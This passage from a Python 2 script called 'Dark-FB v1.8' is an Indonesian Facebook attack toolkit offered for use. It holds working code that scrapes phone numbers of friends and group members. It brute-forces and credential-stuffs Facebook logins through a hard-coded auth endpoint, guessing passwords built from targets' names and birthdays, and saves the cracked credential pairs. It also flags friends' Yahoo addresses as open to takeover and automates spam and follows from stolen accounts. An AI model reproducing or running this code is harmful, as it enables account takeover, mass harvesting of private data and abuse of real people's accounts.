828 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
829 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
830 raw_input(tutup + '\nEnter returns to the menu ...')
831 menu()
832 except KeyboardInterrupt:
833 save.close()
834 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get number phone friend from ' + lime + p['name'] + tutup
835 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
836 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
837 time.sleep(2)
838 os.rename('dump/no_dariteman.txt', 'dump/' + done)
839 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
840 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
841 raw_input(tutup + '\nEnter returns to the menu ...')
842 menu()
843
844
845def no_member():
846 try:
847 token = open('logs.txt').read()
848 os.mkdir('dump')
849 except OSError: pass
850 idg = raw_input(tutup+"["+lime+"+"+tutup+"] Input ID Group : "+lime)
851 try:
852 r = requests.get('https://graph.facebook.com/group/?id='+idg+'&access_token='+token)
853 s = json.loads(r.text)
854 print tutup+"["+blue+"$"+tutup+"] Name Group : "+lime+s["name"]+tutup
855 except KeyError:
856 print tutup+"["+merah+"!"+tutup+"] Group Not Found"
857 raw_input(tutup+"\nEnter returns to the menu ...")
858 menu()
859 try:
860 print tutup+"["+lime+"+"+tutup+"] Fetching number phone from member group ..."+tutup
861 save = open('dump/no_member.txt','w')
862 y = requests.get('https://graph.facebook.com/'+idg+'/members?fields=name,id&limit=999999999&access_token='+token)
863 z = json.loads(y.text)
864 for a in z['data']:
865 x = requests.get("https://graph.facebook.com/"+a['id']+"?access_token="+token)
866 z = json.loads(x.text)
867 try:
868 nomem.append(z['mobile_phone'])
869 save.write(z['mobile_phone']+'\n')
870 print (tutup+"\r[ "+lime+str(len(nomem))+tutup+" ] "+z['mobile_phone']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001)
871 except KeyError: pass
872 save.close()
873 print tutup+"\n["+lime+"+"+tutup+"] Successfully get number phone from member group"
874 done = raw_input(tutup+"["+lime+"+"+tutup+"] Save file with name : "+lime)
875 print tutup+"["+lime+"+"+tutup+"] Create file ..."; time.sleep(2)
876 os.rename('dump/no_member.txt','dump/'+done)
877 print tutup+"["+lime+"+"+tutup+"] File saved : "+lime+"dump/"+done+tutup
878 print tutup+"["+lime+"+"+tutup+"] Selesai ^-^"
879 raw_input(tutup+"\nEnter returns to the menu ...")
880 menu()
881 except KeyboardInterrupt:
882 save.close()
883 print tutup+"\n["+lime+"+"+tutup+"] Successfully get number phone from member group"
884 done = raw_input(tutup+"["+lime+"+"+tutup+"] Save file with name : "+lime)
885 print tutup+"["+lime+"+"+tutup+"] Create file ..."; time.sleep(2)
886 os.rename('dump/no_member.txt','dump/'+done)
887 print tutup+"["+lime+"+"+tutup+"] File saved : "+lime+"dump/"+done+tutup
888 print tutup+"["+lime+"+"+tutup+"] Selesai ^-^"
889 raw_input(tutup+"\nEnter returns to the menu ...")
890 menu()
891
892
893def hack():
894 try:
895 token = open('logs.txt').read()
896 except:
897 menu()
898 print tutup+"("+lime+"01"+tutup+") BruteForce"
899 print tutup+"("+lime+"02"+tutup+") Multi BruteForce"
900 print tutup+"("+lime+"03"+tutup+") Super Multi BruteForce"
901 print tutup+"("+lime+"04"+tutup+") Yahoo Checker"
902 print tutup+"("+merah+"00"+tutup+") Back"
903 print
904 mana_hack = raw_input(tutup+"["+lime+"Croot"+tutup+"]> "+lime)
905 if mana_hack =="":
906 exit(tutup+"["+merah+"!"+tutup+"] Exit"+tutup)
907 elif mana_hack in ['1','01']:
908 force()
909 elif mana_hack in ['2','02']:
910 multi()
911 hasil()
912 elif mana_hack in ['3','03']:
913 super()
914 elif mana_hack in ['4','04']:
915 yahoofriends()
916 elif mana_hack in ['0','00']:
917 menu()
918 else:
919 exit(tutup+"["+merah+"!"+tutup+"] Exit"+tutup)
920
921def force():
922 try:
923 os.mkdir('crack')
924 token = open('logs.txt').read()
925 except OSError: pass
926 try:
927 id = raw_input(tutup+"["+lime+"+"+tutup+"] ID Target : "+lime)
928 list = raw_input(tutup+"["+lime+"+"+tutup+"] Wordlist : "+lime)
929 isi = open(list,'r').readlines()
930 except IOError:
931 exit(tutup+"["+merah+"!"+tutup+"] Wordlist not found"+tutup)
932 print (tutup+"\r["+lime+"+"+tutup+"] Total list : "+lime+str(len(isi)))
933 sandi = open(list,'r')
934 for ps in sandi:
935 try:
936 ps = ps.replace("\n","")
937 print (tutup+"\r["+merah+"*"+tutup+"] Try : "+ps+lime)
938 r = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(ps)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
939 s = json.loads(r.text)
940 if 'access_token' in s:
941 dapat = open("crack/brute.txt","w")
942 dapat.close()
943 print tutup+"["+lime+"+"+tutup+"] Found : "+lime+id+tutup+"|"+lime+ps+tutup
944 exit()
945 elif 'www.facebook.com' in s['error_msg']:
946 cek = open("crack/brute_cek.txt","w")
947 cek.close()
948 print tutup+"["+lime+"+"+tutup+"] Found : "+lime+id+tutup+"|"+lime+ps+tutup
949 exit()
950 except requests.exceptions.ConnectionError:
951 print tutup+"["+merah+"!"+tutup+"] Koneksi error"
952 time.sleep(1)
953
954
955def multi():
956 global idlist,file,pasw
957 print
958 idlist = raw_input(tutup+"["+lime+"+"+tutup+"] List ID : "+lime)
959 pasw = raw_input(tutup+"["+lime+"+"+tutup+"] Password : "+lime)
960 try:
961 file = open(idlist,'r')
962 for z in range(40):
963 t = threading.Thread(target=nextc, args=())
964 t.start()
965 threads.append(t)
966 for t in threads:
967 t.join()
968 except IOError:
969 exit(tutup+"["+merah+"!"+tutup+"] File not found"+tutup)
970
971
972def nextc():
973 try:
974 os.mkdir('crack')
975 token = open('logs.txt').read()
976 except OSError:
977 pass
978 else:
979 try:
980 buka = open(idlist, 'r')
981 isi = buka.read().split()
982 while file:
983 user = file.readline().strip()
984 url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pasw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
985 data = urllib.urlopen(url)
986 w = json.load(data)
987 if back == len(isi):
988 break
989 if 'access_token' in w:
990 ok = open('crack/multi_ok.txt', 'w')
991 ok.write(user + '|' + pasw + '\n')
992 ok.close()
993 x = requests.get('https://graph.facebook.com/' + user + '?access_token=' + w['access_token'])
994 z = json.loads(x.text)
995 berhasil.append(tutup + '[' + lime + 'OK' + tutup + '] ' + user + ' | ' + pasw + ' = ' + z['name'])
996 elif 'www.facebook.com' in w['error_msg']:
997 cek = open('crack/multi_cek.txt', 'w')
998 cek.write(user + '|' + pasw + '\n')
999 cek.close()
1000 checkpoint.append(tutup + '[' + kuning + 'CP' + tutup + '] ' + user + ' | ' + pasw + tutup)
1001 else:
1002 gagal.append(user)
1003 back += 1
1004 sys.stdout.write(tutup + '\r[' + blue + '*' + tutup + '] ' + str(back) + lime + '/' + tutup + str(len(isi)) + tutup + ' = ' + lime + str(len(berhasil)) + tutup + ' ' + kuning + str(len(checkpoint)) + tutup + ' ' + merah + str(len(gagal)) + tutup)
1005 sys.stdout.flush()
1006
1007 except IOError:
1008 print merah + '\n...' + tutup
1009 except requests.exceptions.ConnectionError:
1010 print tutup + '[' + merah + '!' + tutup + '] Koneksi Error'
1011 hasil()
1012
1013
1014def hasil():
1015 print
1016 for b in berhasil:
1017 print b
1018 print tutup + '[' + lime + '+' + tutup + '] File Saved : ' + lime + 'crack/multi_ok.txt' + tutup
1019
1020 for c in checkpoint:
1021 print c
1022 print tutup + '[' + lime + '+' + tutup + '] File Saved : ' + lime + 'crack/multi_cek.txt' + tutup
1023
1024 exit(tutup + '[' + merah + '!' + tutup + '] Exit')
1025
1026def super():
1027 print
1028 try:
1029 os.mkdir('crack')
1030 except OSError:
1031 pass
1032 else:
1033 if os.path.exists('crack/auto_ok.txt'):
1034 if os.path.getsize('crack/auto_ok.txt') != 0:
1035 oh = raw_input(tutup + '[' + lime + '+' + tutup + '] ' + lime + 'crack/auto_ok.txt' + tutup + ' replace?(y/n): ' + lime)
1036 if oh == 'y':
1037 open('crack/auto_ok.txt', 'w').close()
1038 else:
1039 open('crack/auto_cek.txt', 'w').close()
1040 if os.path.exists('crack/auto_cek.txt'):
1041 if os.path.getsize('crack/auto_cek.txt') != 0:
1042 cp = raw_input(tutup + '[' + lime + '+' + tutup + '] ' + lime + 'crack/auto_cek.txt' + tutup + ' replace?(y/n): ' + lime)
1043 if cp == 'y':
1044 open('crack/auto_cek.txt', 'w').close()
1045 else:
1046 open('crack/auto_cek.txt', 'w').close()
1047 file = raw_input(tutup + '[' + lime + '+' + tutup + '] List ID : ' + lime)
1048 pw = raw_input(tutup + '[' + lime + '+' + tutup + '] Extra Password : ' + lime)
1049 try:
1050 pr = open(file, 'r').read().splitlines()
1051 for x in pr:
1052 auto_total.append(x)
1053 print tutup + '\r[' + lime + '+' + tutup + '] Total : ' + lime + str(len(auto_total)),
1054 sys.stdout.flush()
1055 time.sleep(0.0001)
1056
1057 except IOError:
1058 exit(tutup + '[' + merah + '!' + tutup + '] File not found' + tutup)
1059
1060 p = ThreadPool(input('\n' + tutup + '[' + lime + '+' + tutup + '] Threads : ' + lime))
1061 p.map(cekrek, auto_total)
1062 if auto_ok > 0 or auto_cp > 0:
1063 print tutup + '[' + lime + '+' + tutup + '] Total : ' + lime + str(len(auto_ok)) + tutup + ' ' + kuning + str(len(auto_cp)) + tutup
1064 else:
1065 exit(tutup + '[' + merah + '!' + tutup + '] Tidak ada result')
1066 if auto_ok > 0:
1067 print tutup + '[' + lime + '+' + tutup + '] File Saved : ' + lime + 'crack/auto_ok.txt' + tutup
1068 if auto_cp > 0:
1069 print tutup + '[' + lime + '+' + tutup + '] File Saved : ' + kuning + 'crack/auto_cp.txt' + tutup
1070 exit(tutup + '[' + merah + '!' + tutup + '] Exit')
1071
1072def cekrek(puki):
1073 user = puki
1074 try:
1075 r = requests.get('https://graph.facebook.com/'+user+'/?access_token='+token)
1076 z = json.loads(r.text)
1077 lahir = z['birthday']
1078 day = lahir.replace('/', '')
1079 depan = z['first_name']
1080 belakang = z['last_name']
1081 password = [depan+'123',depan+'12345',belakang+'123',belakang+'12345',day,pw]
1082 for x in password:
1083 data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(x)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
1084 get = json.load(data)
1085 if 'access_token' in get:
1086 print("\033[1;97m[\033[1;92mOK\033[1;97m] "+user+" | " +x)
1087 auto_ok.append(user)
1088 s = open('crack/auto_ok.txt','a')
1089 s.write(user+"|"+x+"\n")
1090 break
1091 auto_run.append(user)
1092 print(tutup+"\r["+blue+"*"+tutup+"] "+str(len(auto_run))+lime+"/"+tutup+str(len(auto_total))+" = "),;sys.stdout.flush()
1093 except: pass
1094
1095
1096def yahoofriends():
1097 try:
1098 token = open('logs.txt').read()
1099 except:
1100 print('Token Tidak Ada')
1101 print
1102 mpsh = []
1103 jml = 0
1104 print tutup+"["+lime+"+"+tutup+"] Pastikan koneksi lancar ..."+tutup
1105 teman = requests.get('https://graph.facebook.com/me/friends?access_token='+token)
1106 kimak = json.loads(teman.text)
1107 save = open('MailVuln.txt','w')
1108 for w in kimak['data']:
1109 jml +=1
1110 mpsh.append(jml)
1111 id = w['id']
1112 nama = w['name']
1113 r = requests.get("https://graph.facebook.com/"+id+"?access_token="+token)
1114 z = json.loads(r.text)
1115 try:
1116 mail = z['email']
1117 yahoo = re.compile(r'@.*')
1118 otw = yahoo.search(mail).group()
1119 if 'yahoo.com' in otw:
1120 sex.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com")
1121 sex._factory.is_html = True
1122 sex.select_form(nr=0)
1123 sex["username"] = mail
1124 klik = sex.submit().read()
1125 jok = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*')
1126 try:
1127 pek = jok.search(klik).group()
1128 except:
1129 print tutup+"["+merah+"!"+tutup+"] Mail : "+mail+merah+" Not vuln"
1130 continue
1131 if '"messages.ERROR_INVALID_USERNAME">' in pek:
1132 save.write(mail + '\n')
1133 print tutup+"["+lime+"+"+tutup+"] Mail : "+mail+lime+" Vuln"
1134 else:
1135 print tutup+"["+merah+"!"+tutup+"] Mail : "+mail+merah+" Not vuln"
1136 except KeyError:
1137 pass
1138 raw_input(tutup+"\nEnter returns to the menu ...")
1139 menu()
1140
1141
1142def daftar():
1143 os.system('clear')
1144 try:
1145 os.mkdir('api')
1146 token = open('logs.txt').read()
1147 except OSError:
1148 pass
1149
1150 print tutup + ' [ Dark-FB ]v1.8 '
1151 print 'Ingin membeli api-key bisa hubungi saya melalui : '
1152 print tutup + 'WA.me : ' + lime + '+62 82288231535' + tutup
1153 print
1154 on = raw_input('[>] Masukkan API KEY : ')
1155 r = requests.get('https://pastebin.com/raw/ANfbRTP3').text
1156 if on == '':
1157 daftar()
1158 elif len(on) < 10:
1159 daftar()
1160 elif on in r:
1161 sv = open('api/key.txt', 'w')
1162 sv.write(on)
1163 sv.close()
1164 login()
1165 else:
1166 daftar()
1167
1168
1169def bot():
1170 try:
1171 token = open('logs.txt').read()
1172 except:
1173 menu()
1174 print tutup + '(' + lime + '01' + tutup + ') React target post'
1175 print tutup + '(' + lime + '02' + tutup + ') React group post'
1176 print tutup + '(' + lime + '03' + tutup + ') Coment target post'
1177 print tutup + '(' + lime + '04' + tutup + ') Coment grup post'
1178 print tutup + '(' + lime + '05' + tutup + ') Add friend from target ID'
1179 print tutup + '(' + lime + '06' + tutup + ') Accept all friend requests'
1180 print tutup + '(' + lime + '07' + tutup + ') Delete all friends'
1181 print tutup + '(' + lime + '08' + tutup + ') Delete all post'
1182 print tutup + '(' + lime + '09' + tutup + ') Auto follow'
1183 print tutup + '(' + merah + '00' + tutup + ') Back'
1184 print
1185 mana_bot = raw_input(tutup + '[' + lime + 'Croot' + tutup + ']> ' + lime)
1186 if mana_bot == '':
1187 exit(tutup + '[' + merah + '!' + tutup + '] Exit' + tutup)
1188 elif mana_bot in ('1', '01'):
1189 react_target()
1190 elif mana_bot in ('2', '02'):
1191 react_grup()
1192 elif mana_bot in ('3', '03'):
1193 target_komen()
1194 elif mana_bot in ('4', '04'):
1195 grup_komen()
1196 elif mana_bot in ('5', '05'):
1197 add()
1198 elif mana_bot in ('6', '06'):
1199 acc()
1200 elif mana_bot in ('7', '07'):
1201 delete()
1202 elif mana_bot in ('8', '08'):
1203 deletepost()
1204 elif mana_bot in ('9', '09'):
1205 follow()
1206 elif mana_bot in ('0', '00'):
1207 menu()
1208 else:
1209 exit(tutup + '[' + merah + '!' + tutup + '] Exit' + tutup)
1210
1211
1212def react_target():
1213 reaksi = []
1214 try:
1215 token = open('logs.txt').read()
1216 except:
1217 menu()
1218 print tutup+"("+lime+"01"+tutup+") Like\n"+tutup+"("+lime+"02"+tutup+") Love\n"+tutup+"("+lime+"03"+tutup+") Wow\n"+tutup+"("+lime+"04"+tutup+") Haha\n"+tutup+"("+lime+"05"+tutup+") Sad\n"+tutup+"("+lime+"06"+tutup+") Angry\n"+tutup+"("+merah+"00"+tutup+") Back"
1219 print
1220 emot = raw_input(tutup+"["+lime+"Croot"+tutup+"]> "+lime)
1221 if emot in ['1','01']:
1222 tipe = "LIKE"
1223 elif emot in ['2','02']:
1224 tipe = "LOVE"
1225 elif emot in ['3','03']:
1226 tipe = "WOW"
1227 elif emot in ['4','04']:
1228 tipe = "HAHA"
1229 elif emot in ['5','05']:
1230 tipe = "SAD"
1231 elif emot in ['6','06']:
1232 tipe = "ANGRY"
1233 elif emot in ['0','00']:
1234 menu()
1235 else:
1236 exit(tutup+"["+merah+"!"+tutup+"] Exit"+tutup)
1237 print
1238 id = raw_input(tutup+"["+lime+"+"+tutup+"] Input ID Target : "+lime)
1239 limit = raw_input(tutup+"["+lime+"+"+tutup+"] Limit : "+lime)
1240 try:
1241 r = requests.get("https://graph.facebook.com/"+id+"?fields=feed.limit("+limit+")&access_token="+token)
1242 x = json.loads(r.text)
1243 for z in x['feed']['data']:
1244 idz = z['id']
1245 reaksi.append(idz)
1246 requests.post("https://graph.facebook.com/"+idz+"/reactions?type="+tipe+"&access_token="+token)
1247 print(tutup+"\r["+blue+"*"+tutup+"] "+str(len(reaksi))+lime+"/"+tutup+limit),;sys.stdout.flush()
1248 print tutup+"\n["+lime+"+"+tutup+"] Done"+tutup
1249 raw_input(tutup+"\nEnter returns to the menu ...")
1250 menu()
1251 except KeyError:
1252 exit(tutup+"["+merah+"!"+tutup+"] ID Not Found"+tutup)
1253
1254
1255def react_grup():
1256 reaksi = []
1257 try:
1258 token = open('logs.txt').read
1259 except:
1260 menu()
1261 print tutup + '(' + lime + '01' + tutup + ') Like\n' + tutup + '(' + lime + '02' + tutup + ') Love\n' + tutup + '(' + lime + '03' + tutup + ') Wow\n' + tutup + '(' + lime + '04' + tutup + ') Haha\n' + tutup + '(' + lime + '05' + tutup + ') Sad\n' + tutup + '(' + lime + '06' + tutup + ') Angry\n' + tutup + '(' + merah + '00' + tutup + ') Back'
1262 print
1263 emot = raw_input(tutup + '[' + lime + 'Croot' + tutup + ']> ' + lime)
1264 if emot in ('1', '01'):
1265 tipe = 'LIKE'
1266 elif emot in ('2', '02'):
1267 tipe = 'LOVE'
1268 elif emot in ('3', '03'):
1269 tipe = 'WOW'
1270 elif emot in ('4', '04'):
1271 tipe = 'HAHA'
1272 elif emot in ('5', '05'):
1273 tipe = 'SAD'
1274 elif emot in ('6', '06'):
1275 tipe = 'ANGRY'
1276 elif emot in ('0', '00'):
1277 menu()
1278 else:
1279 exit(tutup + '[' + merah + '!' + tutup + '] Exit' + tutup)
1280 print
1281 id = raw_input(tutup + '[' + lime + '+' + tutup + '] Input ID Group : ' + lime)
1282 limit = raw_input(tutup + '[' + lime + '+' + tutup + '] Limit : ' + lime)
1283 try:
1284 token = open('logs.txt').read()
1285 r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + token)
1286 asw = json.loads(r.text)
1287 print tutup + '[' + lime + '+' + tutup + '] Name Group : ' + lime + asw['name']
1288 except KeyError:
1289 exit(tutup + '[' + merah + '!' + tutup + '] Group Not Found' + tutup)
1290 else:
1291 try:
1292 r = requests.get('https://graph.facebook.com/v3.0/' + id + '?fields=feed.limit(' + limit + ')&access_token=' + token)
1293 x = json.loads(r.text)
1294 for z in x['feed']['data']:
1295 idz = z['id']
1296 reaksi.append(idz)
1297 requests.post('https://graph.facebook.com/' + idz + '/reactions?type=' + tipe + '&access_token=' + token)
1298 print tutup + '\r[' + blue + '*' + tutup + '] ' + str(len(reaksi)) + lime + '/' + tutup + limit,
1299 sys.stdout.flush()
1300
1301 print tutup + '\n[' + lime + '+' + tutup + '] Done' + tutup
1302 raw_input(tutup + '\nEnter returns to the menu ...')
1303 menu()
1304 except KeyError:
1305 exit(tutup + '[' + merah + '!' + tutup + '] Exit' + tutup)
1306
1307
1308def target_komen():
1309 komen = []
1310 try:
1311 token = open('logs.txt').read
1312 except:
1313 menu()
1314 print tutup + '[' + lime + '+' + tutup + "] Type '<>' untuk baris baru" + tutup
1315 id = raw_input(tutup + '[' + lime + '+' + tutup + '] Input ID Target : ' + lime)
1316 kom = raw_input(tutup + '[' + lime + '+' + tutup + '] Komentar : ' + lime)
1317 limit = raw_input(tutup + '[' + lime + '+' + tutup + '] Limit : ' + lime)
1318 km = kom.replace('<>', '\n')
1319 try:
1320 token = open('logs.txt').read()
1321 r = requests.get('https://graph.facebook.com/' + id + '?fields=feed.limit(' + limit + ')&access_token=' + token)
1322 f = json.loads(r.text)
1323 for z in f['feed']['data']:
1324 ie = z['id']
1325 komen.append(ie)
1326 requests.post('https://graph.facebook.com/' + ie + '/comments?message=' + km + '&access_token=' + token)
1327 print tutup + '\r[' + blue + '*' + tutup + '] ' + str(len(komen)) + lime + '/' + tutup + limit,
1328 sys.stdout.flush()
1329
1330 print tutup + '\n[' + lime + '+' + tutup + '] Done' + tutup
1331 raw_input(tutup + '\nEnter returns to the menu ...')
1332 menu()
1333 except KeyError:
1334 exit(tutup + '[' + merah + '!' + tutup + '] Target Not Found' + tutup)
1335
1336
1337def grup_komen():
1338 komengrup = []
1339 try:
1340 token = open('logs.txt').read()
1341 except:
1342 menu()
1343 print tutup + '[' + lime + '+' + tutup + "] Type '<>' untuk baris baru" + tutup
1344 id = raw_input(tutup + '[' + lime + '+' + tutup + '] Input ID Group : ' + lime)
1345 kom = raw_input(tutup + '[' + lime + '+' + tutup + '] Komentar : ' + lime)
1346 limit = raw_input(tutup + '[' + lime + '+' + tutup + '] Limit : ' + lime)
1347 km = kom.replace('<>', '\n')
1348 try:
1349 r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + token)
1350 asw = json.loads(r.text)
1351 print tutup + '[' + lime + '+' + tutup + '] Name Group : ' + lime + asw['name']
1352 except KeyError:
1353 exit(tutup + '[' + merah + '!' + tutup + '] Group Not Found' + tutup)
1354 else:
1355 try:
1356 p = requests.get('https://graph.facebook.com/v3.0/' + id + '?fields=feed.limit(' + limit + ')&access_token=' + token)
1357 a = json.loads(p.text)
1358 for e in a['feed']['data']:
1359 grep = e['id']
1360 komengrup.append(grep)
1361 requests.post('https://graph.facebook.com/' + grep + '/comments?message=' + km + '&access_token=' + token)
1362 print tutup + '\r[' + blue + '*' + tutup + '] ' + str(len(komengrup)) + lime + '/' + tutup + limit,
1363 sys.stdout.flush()
1364
1365 print tutup + '\n[' + lime + '+' + tutup + '] Done' + tutup
1366 raw_input(tutup + '\nEnter returns to the menu ...')
1367 menu()
1368 except KeyError:
1369 exit(tutup + '[' + merah + '!' + tutup + '] Group Not Found' + tutup)
1370
1371
1372def add():
1373 ado = []
1374 try:
1375 token = open('logs.txt').read()
1376 except:
1377 menu()
1378 id = raw_input(tutup+"["+lime+"+"+tutup+"] Target ID : "+lime)
1379 try:
1380 r = requests.get('https://graph.facebook.com/'+id+'?fields=friends.limit(100)&access_token='+token)
1381 t = json.loads(r.text)
1382 except KeyError: exit(tutup+"["+merah+"!"+tutup+"] Target Not Found"+tutup)
1383 for y in t['friends']['data']:
1384 ado.append(y['id'])
1385 req = requests.post('https://graph.facebook.com/me/friends/'+y['id']+'?access_token='+token).text
1386 if 'true' in req:
1387 print tutup+"["+lime+"+"+tutup+"] Berhasil : "+lime+y['name']+tutup
1388 else:
1389 print tutup+"["+merah+"!"+tutup+"] Gagal : "+lime+y['name']+tutup
1390 print tutup+"["+lime+"+"+tutup+"] Done"+tutup
1391 raw_input(tutup+"\nEnter returns to the menu ...")
1392 menu()
1393
1394
1395def acc():
1396 try:
1397 token = open('logs.txt').read()
1398 except:
1399 menu()
1400 limit = raw_input(tutup+"["+lime+"+"+tutup+"] Limit : "+lime)
1401 r = requests.get('https://graph.facebook.com/me/friendrequests?limit='+limit+'&access_token='+token)
1402 t = json.loads(r.text)
1403 if '[]' in str(t['data']):
1404 print tutup+"["+merah+"!"+tutup+"] No friend request"+tutup
1405 raw_input(tutup+"\nEnter returns to the menu ...")
1406 menu()
1407 for i in t['data']:
1408 r = requests.post('https://graph.facebook.com/me/friends/'+i['from']['id']+'?access_token='+token)
1409 a = json.loads(r.text)
1410 if 'error' in str(a):
1411 print tutup+"["+merah+"!"+tutup+"] Gagal = "+i['from']['name']
1412 else:
1413 print tutup+"["+lime+"+"+tutup+"] Terima = "+i['from']['name']
1414 print tutup+"["+lime+"+"+tutup+"] Done"+tutup
1415 raw_input(tutup+"\nEnter returns to the menu ...")
1416 menu()
1417
1418
1419def delete():
1420 try:
1421 token = open('logs.txt').read()
1422 except:
1423 menu()
1424 print tutup + '[' + merah + '!' + tutup + '] INFO : CTRL+C to STOP'
1425 print tutup + '[' + lime + '+' + tutup + '] START ...'
1426 try:
1427 r = requests.get('https://graph.facebook.com/me/friends?access_token=' + token)
1428 t = json.loads(r.text)
1429 for i in t['data']:
1430 nama = i['name']
1431 id = i['id']
1432 requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + token)
1433 print tutup + '[' + lime + '+' + tutup + '] Deleted = ' + nama
1434
1435 except IndexError:
1436 pass
1437 except KeyboardInterrupt:
1438 exit(tutup + '[' + merah + '!' + tutup + '] Stopped.')
1439
1440 print tutup + '[' + lime + '+' + tutup + '] Done' + tutup
1441 raw_input(tutup + '\nEnter returns to the menu ...')
1442 menu()
1443
1444
1445def deletepost():
1446 loop = 0
1447 try:
1448 token = open('logs.txt').read()
1449 except:
1450 menu()
1451 print tutup + '[' + merah + '!' + tutup + '] INFO : CTRL+C to STOP'
1452 print tutup + '[' + lime + '+' + tutup + '] START ...'
1453 try:
1454 r = requests.get('https://graph.facebook.com/me/feed?access_token=' + token)
1455 f = json.loads(r.text)
1456 for y in f['data']:
1457 id = y['id']
1458 url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + token)
1459 get = json.loads(url.text)
1460 try:
1461 error = get['error']['message']
1462 print tutup + '[' + merah + '!' + tutup + '] Gagal : ' + id
1463 except TypeError:
1464 print tutup + '[' + lime + '+' + tutup + '] Terhapus : ' + id
1465 loop += 1
1466
1467 except KeyboardInterrupt:
1468 exit(tutup + '[' + merah + '!' + tutup + '] Stopped.')
1469
1470 print tutup + '[' + lime + '+' + tutup + '] Done' + tutup
1471 raw_input(tutup + '\nEnter returns to the menu ...')
1472 menu()
1473
1474
1475def follow():
1476 try:
1477 token = open('logs.txt').read()
1478 except:
1479 menu()
1480 print tutup + '[' + merah + '!' + tutup + "] INFO : Pemisah 'user|pass'"
1481 file = raw_input(tutup + '[' + lime + '+' + tutup + '] List account : ' + lime)
1482 idt = raw_input(tutup + '[' + lime + '+' + tutup + '] Your account id : ' + lime)
1483 isi = open(file, 'r').read().splitlines()
1484 print tutup + '[' + lime + '+' + tutup + '] START ...'
1485 for z in isi:
1486 o = z.split('|')
1487 user = o[0]
1488 pw = o[1]
1489 print tutup + '[' + ungu + '*' + tutup + '] Follow with account = ' + user + '|' + pw + tutup
1490 try:
1491 api_seret = '62f8ce9f74b12f84c123cc23437a4a32'
1492 data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': user, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pw, 'return_ssl_resources': '0', 'v': '1.0'}
1493 sig = ('api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + user + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pw + 'return_ssl_resources=0v=1.0' + api_seret).encode('utf-8')
1494 x = hashlib.new('md5')
1495 x.update(sig)
1496 data.update({'sig': x.hexdigest()})
1497 urls = requests.get('https://api.facebook.com/restserver.php', params=data)
1498 b = json.loads(urls.text)
1499 toke = b['access_token']
1500 except KeyError:
1501 print tutup + '[' + merah + '!' + tutup + '] Login failed'
1502 else:
1503 try:
1504 r = requests.post('https://graph.facebook.com/' + idt + '/subscribers?access_token=' + toke)
1505 if 'error' in str(r.text):
1506 print tutup + '[' + merah + '!' + tutup + '] Gagal' + tutup
1507 elif 'true' in str(r.text):
1508 print tutup + '[' + lime + '+' + tutup + '] Berhasil' + tutup
1509 else:
1510 print tutup + '[' + merah + '!' + tutup + '] Error' + tutup
1511 except:
1512 pass
1513
1514 print tutup + '[' + lime + '+' + tutup + '] Done' + tutup
1515 raw_input(tutup + '\nEnter returns to the menu ...')
1516 menu()
1517
1518
1519def status():
1520 try:
1521 token = open('logs.txt').read()
1522 except:
1523 menu()
1524 capt = raw_input(tutup+"["+lime+"+"+tutup+"] Caption : "+lime)
1525 if capt =="":
1526 exit(tutup+"["+merah+"!"+tutup+"] Exit"+tutup)
1527 else:
1528 print tutup+"["+lime+"+"+tutup+"] Create ..."
1529 r = requests.get("https://graph.facebook.com/me/feed?method=POST&message="+capt+"&access_token="+token)
1530 x = json.loads(r.text)
1531 print tutup+"["+lime+"+"+tutup+"] Status ID : "+x['id']
1532 print tutup+"["+lime+"+"+tutup+"] Done"+tutup
1533 raw_input(tutup+"\nEnter returns to the menu ...")
1534 menu()
1535
1536
1537def guard():
1538 try:
1539 token = open('logs.txt').read()
1540 except:
1541 menu()
1542 print tutup + '(' + lime + '01' + tutup + ') Aktifkan ' + tutup + '(' + lime + '02' + tutup + ') Matikan'
1543 print
1544 ha = raw_input(tutup + '[' + lime + 'Croot' + tutup + ']> ' + lime)
1545 if ha == '':
1546 exit(tutup + '[' + merah + '!' + tutup + '] Exit' + tutup)
1547 elif ha in ('1', '01'):
1548 aktif = 'true'
1549 gaz(token, aktif)
1550 elif ha in ('2', '02'):
1551 non = 'false'
1552 gaz(token, non)
1553 else:
1554 exit(tutup + '[' + merah + '!' + tutup + '] Exit' + tutup)
1555
1556
1557def gaz(token, enable=True):
1558 r = requests.get("https://graph.facebook.com/me?access_token="+token)
1559 g = json.loads(r.text)
1560 id = g["id"]
